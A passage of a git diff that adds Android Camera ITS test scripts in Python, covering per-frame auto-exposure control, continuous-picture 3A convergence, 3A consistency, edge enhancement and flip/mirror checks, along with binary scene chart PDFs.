+  exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS
+  total_gain = iso * exp_time
+  if not raw_cap:
+    total_gain *= isp_gain
+  awb_state = metadata['android.control.awbState']
+  frame = {
+      'awb_gains': metadata['android.colorCorrection.gains'],
+      'ccm': metadata['android.colorCorrection.transform'],
+      'fd': metadata['android.lens.focusDistance'],
+  }
+
+  # Convert CCM from rational to float, as numpy arrays.
+  awb_ccm = np.array(capture_request_utils.rational_to_float(
+      frame['ccm'])).reshape(3, 3)
+
+  logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f',
+                ae_state, iso, isp_gain, exp_time, total_gain, luma)
+  logging.debug('fd: %f', frame['fd'])
+  logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state,
+                str(frame['awb_gains']), str(awb_ccm))
+  if debug:
+    logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve']))
+
+  return frame, ae_state, total_gain
+
+
+def _compute_frame_luma(cap, props, raw_cap):
+  """Determines the luma for the center patch of the frame.
+
+  RAW captures use GR plane, YUV captures use Y plane.
+
+  Args:
+    cap: Camera capture object.
+    props: Camera properties dict.
+    raw_cap: Boolean for capture is RAW or YUV.
+  Returns:
+    luma: Luma value for center patch of image.
+  """
+  if raw_cap:
+    plane = image_processing_utils.convert_capture_to_planes(
+        cap, props=props)[_RAW_GR_CH]
+  else:
+    plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH]
+
+  patch = image_processing_utils.get_image_patch(
+      plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  return image_processing_utils.compute_image_means(patch)[0]
+
+
+def _plot_data(lumas, gains, fmt, log_path):
+  """Plots lumas and gains data for this test.
+
+  Args:
+    lumas: List of luma data from captures.
+    gains: List of gain data from captures.
+    fmt: String to identify 'YUV' or 'RAW' plots.
+    log_path: Location to store data.
+  """
+  norm_gains = [x / max(gains) * max(lumas) for x in gains]
+
+  pylab.figure(fmt)
+  pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness')
+  pylab.plot(range(len(gains)), norm_gains, '-r.',
+             label='Metadata AE setting product')
+  pylab.title(_NAME + ' ' + fmt)
+  pylab.xlabel('frame index')
+
+  # expand y axis for low delta results
+  ymin = min(norm_gains + lumas)
+  ymax = max(norm_gains + lumas)
+  yavg = (ymax + ymin) / 2.0
+  if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100:
+    ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3)
+    ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3)
+    pylab.ylim(ymin, ymax)
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt))
+
+
+def _is_awb_af_stable(cap_info, i):
+  """Determines if Auto White Balance and Auto Focus are stable."""
+  awb_gains_i_1 = cap_info[i-1]['awb_gains']
+  awb_gains_i = cap_info[i]['awb_gains']
+
+  return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and
+          cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and
+          np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01))
+
+
+class AutoPerFrameControlTest(its_base_test.ItsBaseTest):
+  """Tests PER_FRAME_CONTROL properties for auto capture requests.
+
+  Takes a sequence of images with auto capture request.
+  Determines if luma and gain settings move in same direction for large setting
+  changes.
+  Small settings changes should result in small changes in luma.
+  Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is
+  expected is DELTA_NO_GAIN_THRESH.
+
+  While not included in this test, if camera debug is required:
+    MANUAL_POSTPROCESSING capability is implied since
+    camera_properties_utils.read_3a is valid for test.
+
+    debug can also be performed with a defined tonemap curve:
+      req['android.tonemap.mode'] = 0
+      gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
+      req['android.tonemap.curve'] = {'red': gamma, 'green': gamma,
+                                      'blue': gamma}
+  """
+
+  def test_auto_per_frame_control(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.read_3a(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      debug = self.debug_mode
+      raw_avlb = camera_properties_utils.raw16(props)
+      fmts = _determine_test_formats(cam, props, raw_avlb, debug)
+
+      failed = []
+      for i, fmt in enumerate(fmts):
+        logging.debug('fmt: %s', str(fmt['format']))
+        cam.do_3a()
+        req = capture_request_utils.auto_capture_request()
+        cap_info = {}
+        ae_states = []
+        lumas = []
+        total_gains = []
+        num_caps = _NUM_CAPS
+        num_frames = _NUM_FRAMES
+        raw_cap = i == 0 and raw_avlb and debug
+        # Break up caps if RAW to reduce bandwidth requirements.
+        if raw_cap:
+          num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE
+          num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE
+
+        # Capture frames and tabulate info.
+        for j in range(num_caps):
+          caps = cam.do_capture([req] * num_frames, fmt)
+          for k, cap in enumerate(caps):
+            idx = k + j * num_frames
+            logging.debug('=========== frame %d ==========', idx)
+            luma = _compute_frame_luma(cap, props, raw_cap)
+            frame, ae_state, total_gain = _tabulate_frame_data(
+                cap['metadata'], luma, raw_cap, debug)
+            cap_info[idx] = frame
+            ae_states.append(ae_state)
+            lumas.append(luma)
+            total_gains.append(total_gain)
+
+             # Save image.
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % (
+                os.path.join(log_path, _NAME), fmt['format'], idx))
+
+        _plot_data(lumas, total_gains, fmt['format'], log_path)
+
+        # Check correct behavior
+        logging.debug('fmt: %s', str(fmt['format']))
+        for j in range(1, num_caps * num_frames):
+          if _is_awb_af_stable(cap_info, j):
+            error_msg = _check_delta_luma_vs_delta_gain(
+                fmt, j, lumas, total_gains)
+            if error_msg:
+              failed.append(error_msg)
+          else:
+            logging.debug('frame %d -> %d: AWB/AF changed', j-1, j)
+
+        for j, luma in enumerate(lumas):
+          if ((ae_states[j] == _AE_STATE_CONVERGED or
+               ae_states[j] == _AE_STATE_FLASH_REQUIRED) and
+              (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)):
+            failed.append(
+                f"{fmt['format']}: frame {j} AE converged luma {luma}. "
+                f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})'
+            )
+      if failed:
+        logging.error('Error summary')
+        for fail in failed:
+          logging.error('%s', fail)
+        raise AssertionError
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_c/scene2_c.pdf b/apps/CameraITS2.0/tests/scene2_c/scene2_c.pdf
new file mode 100644
index 0000000..d11a02d
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_c/scene2_c.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.5x_scaled.pdf
new file mode 100644
index 0000000..9ac02a1
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.67x_scaled.pdf
new file mode 100644
index 0000000..4a8bb09
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_c/scene2_c_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_d/scene2_d.pdf b/apps/CameraITS2.0/tests/scene2_d/scene2_d.pdf
new file mode 100644
index 0000000..bfb9034
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_d/scene2_d.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.5x_scaled.pdf
new file mode 100644
index 0000000..6b103cf
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.67x_scaled.pdf
new file mode 100644
index 0000000..a89dc89
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_d/scene2_d_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_e/scene2_e.pdf b/apps/CameraITS2.0/tests/scene2_e/scene2_e.pdf
new file mode 100644
index 0000000..a5786d6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_e/scene2_e.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.5x_scaled.pdf
new file mode 100644
index 0000000..ca92a4e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.67x_scaled.pdf
new file mode 100644
index 0000000..eca9d3e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_e/scene2_e_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_e/test_continuous_picture.py b/apps/CameraITS2.0/tests/scene2_e/test_continuous_picture.py
new file mode 100644
index 0000000..48e49ea
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_e/test_continuous_picture.py
@@ -0,0 +1,132 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_CONTINUOUS_PICTURE_MODE = 4
+_CONVERGED_3A = (2, 2, 2)  # (AE, AF, AWB)
+_M_TO_CM = 100
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NS_TO_MS = 1E-6
+_NUM_FRAMES = 50
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_VGA_W, _VGA_H = 640, 480
+
+
+def _capture_frames(cam, log_path, debug):
+  """Captures frames, logs info, and creates cap_3a_state_list.
+
+  Args:
+    cam: a camera capture object.
+    log_path: str to identify saved image location.
+    debug: bool for debugging info.
+  Returns:
+    cap_3a_state_list: list of 3a states [AE, AF, AWB] during captures.
+  """
+  cap_3a_state_list = []
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.afMode'] = _CONTINUOUS_PICTURE_MODE
+  fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+  caps = cam.do_capture([req]*_NUM_FRAMES, fmt)
+
+  # Extract frame metadata and frame.
+  for i, cap in enumerate(caps):
+    md = cap['metadata']
+    exp = md['android.sensor.exposureTime']
+    iso = md['android.sensor.sensitivity']
+    fd = md['android.lens.focalLength']
+    ae_state = md['android.control.aeState']
+    af_state = md['android.control.afState']
+    awb_state = md['android.control.awbState']
+    fd_str = 'infinity'
+    if fd != 0.0:
+      fd_str = '%.2fcm' % (_M_TO_CM/fd)
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    green_mean = image_processing_utils.compute_image_means(patch)[_RGB_G_CH]
+    logging.debug(
+        '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f, [ae,af,awb]'
+        ': [%d,%d,%d]', i, iso, exp * _NS_TO_MS, fd_str, green_mean, ae_state,
+        af_state, awb_state)
+    cap_3a_state_list.append([ae_state, af_state, awb_state])
+    if debug:
+      image_processing_utils.write_image(
+          img, '%s_%d.jpg' % (os.path.join(log_path, _NAME), i))
+  return cap_3a_state_list
+
+
+class ContinuousPictureTest(its_base_test.ItsBaseTest):
+  """Test 3A converges in CONTINUOUS_PICTURE mode.
+
+  Sets camera into CONTINUOUS_PICTURE mode and does NUM_FRAMES capture.
+  By the end of NUM_FRAMES capture, 3A should be in converged state.
+  Converged state is [2, 2, 2] for [AE, AF, AWB]
+
+  State information:
+    AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
+                4: FLASH_REQ, 5: PRECAPTURE}
+    AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
+                3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
+                6: PASSIVE_UNFOCUSED}
+    AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
+  """
+
+  def test_continuous_picture(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+      debug = self.debug_mode
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.continuous_picture(props) and
+          camera_properties_utils.read_3a(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do 3A up front.
+      cam.do_3a()
+
+      # Ensure 3A settles in CONTINUOUS_PICTURE mode with no scene change.
+      cap_3a_state_list = _capture_frames(cam, log_path, debug)
+      final_3a = cap_3a_state_list[_NUM_FRAMES-1]
+      if final_3a != list(_CONVERGED_3A):
+        raise AssertionError(
+            f'Last frame [AE,AF,AWB]: {final_3a}. CONVERGED: {_CONVERGED_3A}.')
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene3/scene3.pdf b/apps/CameraITS2.0/tests/scene3/scene3.pdf
new file mode 100644
index 0000000..0db93f8
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/scene3.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene3/scene3_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene3/scene3_0.5x_scaled.pdf
new file mode 100644
index 0000000..805611d
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/scene3_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene3/scene3_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene3/scene3_0.67x_scaled.pdf
new file mode 100644
index 0000000..a3e18e2
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/scene3_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene3/test_3a_consistency.py b/apps/CameraITS2.0/tests/scene3/test_3a_consistency.py
new file mode 100644
index 0000000..0fa008e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_3a_consistency.py
@@ -0,0 +1,147 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import its_session_utils
+
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+_AWB_GREEN_CH = 2
+_GGAIN_TOL = 0.1
+_FD_TOL = 0.1
+_ISO_EXP_ISP_TOL = 0.2   # TOL used w/o postRawCapabilityBoost not available.
+_ISO_EXP_TOL = 0.16  # TOL used w/ postRawCapabilityBoost available
+
+_NUM_TEST_ITERATIONS = 3
+
+
+class ConsistencyTest(its_base_test.ItsBaseTest):
+  """Basic test for 3A consistency.
+
+  To PASS, 3A must converge for exp, gain, awb, fd within defined TOLs.
+  TOLs are based on camera capabilities. If postRawSensitivityBoost can be
+  fixed TOL is tighter. The TOL values in the CONSTANTS area are described in
+  b/144452069.
+
+  Note ISO and sensitivity are interchangeable for Android cameras.
+  """
+
+  def test_3a_consistency(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Set postRawSensitivityBoost to minimum if available.
+      req = capture_request_utils.auto_capture_request()
+      if camera_properties_utils.post_raw_sensitivity_boost(props):
+        min_iso_boost, _ = props['android.control.postRawSensitivityBoostRange']
+        req['android.control.postRawSensitivityBoost'] = min_iso_boost
+        iso_exp_tol = _ISO_EXP_TOL
+        logging.debug('Setting post RAW sensitivity boost to minimum')
+      else:
+        iso_exp_tol = _ISO_EXP_ISP_TOL
+
+      # Do 3A and save data.
+      iso_exps = []
+      g_gains = []
+      fds = []
+      for i in range(_NUM_TEST_ITERATIONS):
+        try:
+          iso, exposure, awb_gains, awb_transform, focus_distance = cam.do_3a(
+              get_results=True, mono_camera=mono_camera)
+          logging.debug('req iso: %d, exp: %d, iso*exp: %d',
+                        iso, exposure, exposure * iso)
+          logging.debug('req awb_gains: %s, awb_transform: %s',
+                        awb_gains, awb_transform)
+          logging.debug('req fd: %s', focus_distance)
+          req = capture_request_utils.manual_capture_request(
+              iso, exposure, focus_distance)
+          cap = cam.do_capture(req, cam.CAP_YUV)
+          if debug:
+            img = image_processing_utils.convert_capture_to_rgb_image(cap)
+            img_name = '%s_%d.jpg' % (os.path.join(self.log_path, _NAME), i)
+            image_processing_utils.write_image(img, img_name)
+
+          # Extract and save metadata.
+          iso_result = cap['metadata']['android.sensor.sensitivity']
+          exposure_result = cap['metadata']['android.sensor.exposureTime']
+          awb_gains_result = cap['metadata']['android.colorCorrection.gains']
+          awb_transform_result = capture_request_utils.rational_to_float(
+              cap['metadata']['android.colorCorrection.transform'])
+          focus_distance_result = cap['metadata']['android.lens.focusDistance']
+          logging.debug(
+              'res iso: %d, exposure: %d, iso*exp: %d',
+              iso_result, exposure_result, exposure_result*iso_result)
+          logging.debug('res awb_gains: %s, awb_transform: %s',
+                        awb_gains_result, awb_transform_result)
+          logging.debug('res fd: %s', focus_distance_result)
+          iso_exps.append(exposure_result*iso_result)
+          g_gains.append(awb_gains_result[_AWB_GREEN_CH])
+          fds.append(focus_distance_result)
+        except error_util.CameraItsError:
+          logging.debug('FAIL')
+
+      # Check for correct behavior.
+      if len(iso_exps) != _NUM_TEST_ITERATIONS:
+        raise AssertionError(f'number of captures: {len(iso_exps)}, '
+                             f'NUM_TEST_ITERATIONS: {_NUM_TEST_ITERATIONS}.')
+      iso_exp_min = np.amin(iso_exps)
+      iso_exp_max = np.amax(iso_exps)
+      if not np.isclose(iso_exp_max, iso_exp_min, iso_exp_tol):
+        raise AssertionError(f'ISO*exp min: {iso_exp_min}, max: {iso_exp_max}, '
+                             f'TOL:{iso_exp_tol}')
+      g_gain_min = np.amin(g_gains)
+      g_gain_max = np.amax(g_gains)
+      if not np.isclose(g_gain_max, g_gain_min, _GGAIN_TOL):
+        raise AssertionError(f'G gain min: {g_gain_min}, max: {g_gain_min}, '
+                             f'TOL: {_GGAIN_TOL}')
+      fd_min = np.amin(fds)
+      fd_max = np.amax(fds)
+      if not np.isclose(fd_max, fd_min, _FD_TOL):
+        raise AssertionError(f'FD min: {fd_min}, max: {fd_min} TOL: {_FD_TOL}')
+      for g in awb_gains:
+        if np.isnan(g):
+          raise AssertionError('AWB gain entry is not a number.')
+      for x in awb_transform:
+        if np.isnan(x):
+          raise AssertionError('AWB transform entry is not a number.')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene3/test_edge_enhancement.py b/apps/CameraITS2.0/tests/scene3/test_edge_enhancement.py
new file mode 100644
index 0000000..2168ffd
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_edge_enhancement.py
@@ -0,0 +1,163 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+EDGE_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'ZSL': 3}
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_SAMPLES = 4
+SHARPNESS_RTOL = 0.1
+
+
+def do_capture_and_determine_sharpness(
+    cam, edge_mode, sensitivity, exp, fd, out_surface, chart, log_path):
+  """Return sharpness of the output image and the capture result metadata.
+
+     Processes a capture request with a given edge mode, sensitivity, exposure
+     time, focus distance, output surface parameter.
+
+  Args:
+    cam: An open device session.
+    edge_mode: Edge mode for the request as defined in android.edge.mode
+    sensitivity: Sensitivity for the request as defined in
+                 android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+         android.sensor.exposureTime.
+    fd: Focus distance for the request as defined in
+        android.lens.focusDistance
+    out_surface: Specifications of the output image format and size.
+    chart: object that contains chart information
+    log_path: path to write result images
+
+  Returns:
+    Object containing reported edge mode and the sharpness of the output
+    image, keyed by the following strings:
+        edge_mode
+        sharpness
+  """
+
+  req = capture_request_utils.manual_capture_request(sensitivity, exp)
+  req['android.lens.focusDistance'] = fd
+  req['android.edge.mode'] = edge_mode
+
+  sharpness_list = []
+  for n in range(NUM_SAMPLES):
+    cap = cam.do_capture(req, out_surface, repeat_request=req)
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    if n == 0:
+      image_processing_utils.write_image(
+          chart.img, '%s_edge=%d.jpg' % (
+              os.path.join(log_path, NAME), edge_mode))
+      edge_mode_res = cap['metadata']['android.edge.mode']
+    sharpness_list.append(
+        image_processing_utils.compute_image_sharpness(chart.img))
+
+  return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
+
+
+class EdgeEnhancementTest(its_base_test.ItsBaseTest):
+  """Test that the android.edge.mode param is applied correctly.
+
+  Capture non-reprocess images for each edge mode and calculate their
+  sharpness as a baseline.
+  """
+
+  def test_edge_enhancement(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.edge_mode(props, 0))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize chart class and locate chart in scene
+      chart = cv2_image_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # Define format
+      fmt = 'yuv'
+      size = capture_request_utils.get_available_output_sizes(fmt, props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
+
+      # Get proper sensitivity, exposure time, and focus distance.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Get the sharpness for each edge mode for regular requests
+      sharpness_regular = []
+      edge_mode_reported_regular = []
+      for edge_mode in EDGE_MODES.values():
+        # Skip unavailable modes
+        if not camera_properties_utils.edge_mode(props, edge_mode):
+          edge_mode_reported_regular.append(edge_mode)
+          sharpness_regular.append(0)
+          continue
+
+        ret = do_capture_and_determine_sharpness(
+            cam, edge_mode, s, e, fd, out_surface, chart, self.log_path)
+        edge_mode_reported_regular.append(ret['edge_mode'])
+        sharpness_regular.append(ret['sharpness'])
+
+      logging.debug('Reported edge modes: %s', edge_mode_reported_regular)
+      logging.debug('Sharpness with EE mode [0,1,2,3]: %s',
+                    str(sharpness_regular))
+
+      logging.debug('Verify HQ is sharper than OFF')
+      e_msg = 'HQ: %.3f, OFF: %.3f' % (sharpness_regular[EDGE_MODES['HQ']],
+                                       sharpness_regular[EDGE_MODES['OFF']])
+      assert (sharpness_regular[EDGE_MODES['HQ']] >
+              sharpness_regular[EDGE_MODES['OFF']]), e_msg
+
+      logging.debug('Verify OFF is not sharper than FAST')
+      e_msg = 'FAST: %.3f, OFF: %.3f, RTOL: %.2f' % (
+          sharpness_regular[EDGE_MODES['FAST']],
+          sharpness_regular[EDGE_MODES['OFF']], SHARPNESS_RTOL)
+      assert (sharpness_regular[EDGE_MODES['FAST']] >
+              sharpness_regular[EDGE_MODES['OFF']]*(1.0-SHARPNESS_RTOL)), e_msg
+
+      logging.debug('Verify FAST is not sharper than HQ')
+      e_msg = 'HQ: %.3f, FAST: %.3f, RTOL: %.2f' % (
+          sharpness_regular[EDGE_MODES['HQ']],
+          sharpness_regular[EDGE_MODES['FAST']], SHARPNESS_RTOL)
+      assert (sharpness_regular[EDGE_MODES['HQ']] >
+              sharpness_regular[EDGE_MODES['FAST']]*(1.0-SHARPNESS_RTOL)), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene3/test_flip_mirror.py b/apps/CameraITS2.0/tests/scene3/test_flip_mirror.py
new file mode 100644
index 0000000..6265123
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_flip_mirror.py
@@ -0,0 +1,162 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+
+from mobly import test_runner
+import numpy as np
+
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images',
+                          'ISO12233.png')
+CHART_ORIENTATIONS = ['nominal', 'flip', 'mirror', 'rotate']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.5  # center 50%
+PATCH_W = 0.5
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+VGA_W, VGA_H = 640, 480
+
+
+def test_flip_mirror_impl(cam, props, fmt, chart, debug, log_path):
+
+  """Return if image is flipped or mirrored.
+
+  Args:
+   cam : An open its session.
+   props : Properties of cam.
+   fmt : dict,Capture format.
+   chart: Object with chart properties.
+   debug: boolean,whether to run test in debug mode or not.
+   log_path: log_path to save the captured image.
+
+  Returns:
+    boolean: True if flipped, False if not
+  """
+
+  # determine if monochrome camera
+  mono_camera = camera_properties_utils.mono_camera(props)
+
+  # get a local copy of the chart template
+  template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
+
+  # take img, crop chart, scale and prep for cv2 template match
+  s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+  req = capture_request_utils.manual_capture_request(s, e, fd)
+  cap = cam.do_capture(req, fmt)
+  y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+  y = image_processing_utils.rotate_img_per_argv(y)
+  patch = image_processing_utils.get_image_patch(y, chart.xnorm, chart.ynorm,
+                                                 chart.wnorm, chart.hnorm)
